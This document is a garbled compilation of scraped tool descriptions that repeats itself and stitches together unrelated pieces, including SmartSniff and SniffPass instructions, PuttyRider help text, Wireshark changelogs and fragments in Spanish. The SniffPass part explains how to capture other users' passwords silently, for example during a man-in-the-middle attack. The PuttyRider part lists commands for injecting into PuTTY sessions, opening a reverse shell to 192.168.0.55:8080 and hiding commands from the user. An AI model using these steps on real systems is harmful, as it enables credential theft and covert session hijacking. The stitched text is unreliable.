1. Raw Sockets (Only for Windows 2000/XP or greater): Allows you to capture TCP/IP packets on your network without installing a capture driver. This method has some limitations and problems.
2. WinPcap Capture Driver: Allows you to capture TCP/IP packets on all Windows operating systems. (Windows 98/ME/NT/2000/XP/2003/Vista) In order to use it, you have to download and install WinPcap Capture Driver from this Web site. (WinPcap is a free open-source capture driver.) 
   This method is generally the preferred way to capture TCP/IP packets with SmartSniff, and it works better than the Raw Sockets method.
3. Microsoft Network Monitor Driver (Only for Windows 2000/XP/2003): Microsoft provides a free capture driver under Windows 2000/XP/2003 that can be used by SmartSniff, but this driver is not installed by default, and you have to manually install it, by using one of the following options:
   • Option 1: Install it from the CD-ROM of Windows 2000/XP according to the instructions in Microsoft Web site
   • Option 2 (XP Only) : Download and install the Windows XP Service Pack 2 Support Tools. One of the tools in this package is netcap.exe. When you run this tool in the first time, the Network Monitor Driver will automatically be installed on your system.
4. Microsoft Network Monitor Driver 3: Microsoft provides a new version of Microsoft Network Monitor driver (3.x) that is also supported under Windows 7/Vista/2008. Starting from version 1.60, SmartSniff can use this driver to capture the network traffic. 
   The new version of Microsoft Network Monitor (3.x) is available to download from Microsoft Web site.    

• HTTP (BASIC authentication)
• FTP
• POP3
• IMAP
• SMTP
  

• Run it on Gateway System where all of your network's traffic pass through.
• In MITM Attack, run it on middle system to capture the Passwords from target system.
• On Multi-user System, run it under Administrator account to silently capture passwords for all the users.
  

Using SniffPass

1. Download and install the WinPcap capture driver or the Microsoft Network Monitor driver. 
   You can also try to capture without any driver installation, simply by using the 'Raw Socket' capture method, but you should be aware that this method doesn't work properly in many systems.
2. Run the executable file of SniffPass (SniffPass.exe).
3. From the File menu, select "Start Capture", or simply click the green play button in the toolbar. If it's the first time that you use SniffPass, you'll be asked to select the capture method and the network adapter that you want to use. 
   After you select the desired capture options, SniffPass listen to your network adapter, and display instantly any password that it find.
4. In order to verify that the password sniffing works in your system, go to the demo Web page at http://www.nirsoft.net/password_test and type 'demo' as user name and 'password' as the password. After typing the user name/password and clicking 'Ok', you should see a new line in the main window of SniffPass containing the user/password you typed.

Get passwords of another computer on your network ?

1. You must use a simple hub to connect your computers to the network. All modern switches and routers automatically filter the packets of the other computers, so the computer that runs SniffPass will never "see" the passwords of other computers when you use a switch or a router.
2. Your network card must be able to enter into 'Promiscuous Mode'.
3. You must use WinPCap or Network Monitor Driver as a capture method.
4. For wireless network: Most wireless network cards (or their device drivers) automatically filter the packets of other computers, so you won't be able the capture the passwords of ther computers. However, starting from Windows Vista/7, you can capture passwords of wireless networks that are not encrypted, by using Wifi Monitor Mode and Network Monitor Driver 3.x.  
   For more information about capturing from wireless networks , read this Blog post: How to capture data and passwords of unsecured wireless networks with SniffPass and SmartSniff

Command-Line Options

PuttyRider.exe -l

PuttyRider.exe -p 0 -r 192.168.0.55:8080

PuttyRider.exe -w -f

PuttyRider.exe -x

Operation modes:
    -l      List the running Putty processes and their connections
    -w      Inject in all existing Putty sessions and wait for new sessions
            to inject in those also
    -p PID  Inject only in existing Putty session identified by PID.
            If PID==0, inject in the first Putty found
    -x      Cleanup. Remove the DLL from all running Putty instances
    -d      Debug mode. Only works with -p mode
    -c CMD  Automatically execute a Linux command after successful injection
            PuttyRider will remove trailing spaces and '&' character from CMD
            PuttyRider will add: " 1>/dev/null 2>/dev/null &" to CMD
    -h      Print this help

Output modes:
    -f          Write all Putty conversation to a file in the local directory.
                The filename will have the PID of current putty.exe appended
    -r IP:PORT  Initiate a reverse connection to the specified machine and
                start an interactive session.

Interactive commands (after you receive a reverse connection):
    !status     See if the Putty window is connected to user input
    !discon     Disconnect the main Putty window so it won't display anything
                This is useful to send commands without the user to notice
    !recon      Reconnect the Putty window to its normal operation mode
    CMD         Linux shell commands
    !exit       Terminate this connection
    !help       Display help for client connection

Wireshark is the world’s foremost network protocol analyzer. It lets you capture and interactively browse the traffic running on a computer network. It is the de facto (and often de jure) standard across many industries and educational institutions.

Changelog v1.11.3

• With a quick conversion, you can use your old Foremost config file with tcpxtract.
• Custom written search algorithm is lightning fast and very scalable.
• Search algorithm searches across packet boundries for total coverage and forensic quality.
• Uses libpcap, a popular, portable and stable library for network data capture.
• Can be used against a live network or a tcpdump formatted capture file.

• Android 2.3.3 o superior
• Ser root
• Tener instalado Busybox

Wireshark is the world’s foremost network protocol analyzer. It lets you capture and interactively browse the traffic running on a computer network. It is the de facto (and often de jure) standard across many industries and educational institutions.

Changelog v1.10.0 RC 2

• Wireshark on 32- and 64-bit Windows supports automatic updates.
• The packet bytes view is faster.
• You can now display a list of resolved host names in “hosts” format within Wireshark.
• The wireless toolbar has been updated.
• Wireshark on Linux does a better job of detecting interface addition and removal.
• It is now possible to compare two fields in a display filter (for example: udp.srcport != udp.dstport). The two fields must be of the same type for this to work.
• The Windows installers ship with WinPcap 4.1.3, which supports Windows 8.
• USB type and product name support has been improved.
• All Bluetooth profiles and protocols are now supported.
• Wireshark now calculates HTTP response times and presents the result in a new field in the HTTP response. Links from the request’s frame to the response’s frame and vice-versa are also added.
• The main welcome screen and status bar now display file sizes using strict SI prefixes instead of old-style binary prefixes.
• Capinfos now prints human-readable statistics with SI suffixes by default.
• It is now possible to open a referenced packet (such as the matched request or response packet) in a new window.
• Tshark can now display only the hex/ascii packet data without requiring that the packet summary and/or packet details are also displayed. If you want the old behavior, use -Px instead of just -x.
• Wireshark can be compiled using GTK+ 3.
• The Wireshark application icon, capture toolbar icons, and other icons have been updated.
• Tshark’s filtering and multi-pass analysis have been reworked for consistency and in order to support dependent frame calculations during reassembly. See the man page descriptions for -2, -R, and -Y.
• Tshark’s -G fields2 and -G fields3 options have been eliminated. The -G fields option now includes the 2 extra fields that -G fields3 previously provided, and the blurb information has been relegated to the last column since in many cases it is blank anyway.
• Wireshark dropped the left-handed settings from the preferences. This is still configurable via the GTK settings (add “gtk-scrolled-window-placement = top-right” in the config file, which might be called /.gtkrc-2.0 or /.config/gtk-3.0/settings.ini).
• Wireshark now ships with two global configuration files: Bluetooth, which contains coloring rules for Bluetooth and Classic, which contains the old-style coloring rules.

Changelog v1.8.7

Wireshark is the world’s foremost network protocol analyzer. It lets you capture and interactively browse the traffic running on a computer network. It is the de facto (and often de jure) standard across many industries and educational institutions.

Changelog v1.10.0 RC1

• Wireshark on 32- and 64-bit Windows supports automatic updates.
• The packet bytes view is faster.
• You can now display a list of resolved host names in “hosts” format within Wireshark.
• The wireless toolbar has been updated.
• Wireshark on Linux does a better job of detecting interface addition and removal.
• It is now possible to compare two fields in a display filter (for example: udp.srcport != udp.dstport). The two fields must be of the same type for this to work.
• The Windows installers ship with WinPcap 4.1.3, which supports Windows 8.
• USB type and product name support has been improved.
• All Bluetooth profiles and protocols are now supported.
• Wireshark now calculates HTTP response times and presents the result in a new field in the HTTP response. Links from the request’s frame to the response’s frame and vice-versa are also added.
• The main welcome screen and status bar now display file sizes using strict SI prefixes instead of old-style binary prefixes.
• Capinfos now prints human-readable statistics with SI suffixes by default.
• It is now possible to open a referenced packet (such as the matched request or response packet) in a new window.
• Tshark can now display only the hex/ascii packet data without requiring that the packet summary and/or packet details are also displayed. If you want the old behavior, use -Px instead of just -x.
• Wireshark can be compiled using GTK+ 3.
• The Wireshark application icon, capture toolbar icons, and other icons have been updated.
• Tshark’s filtering and multi-pass analysis have been reworked for consistency and in order to support dependent frame calculations during reassembly. See the man page descriptions for -2, -R, and -Y.
• Tshark’s -G fields2 and -G fields3 options have been eliminated. The -G fields option now includes the 2 extra fields that -G fields3 previously provided, and the blurb information has been relegated to the last column since in many cases it is blank anyway.

• - Es necesario ser root. 
• - Es necesario DroidSheep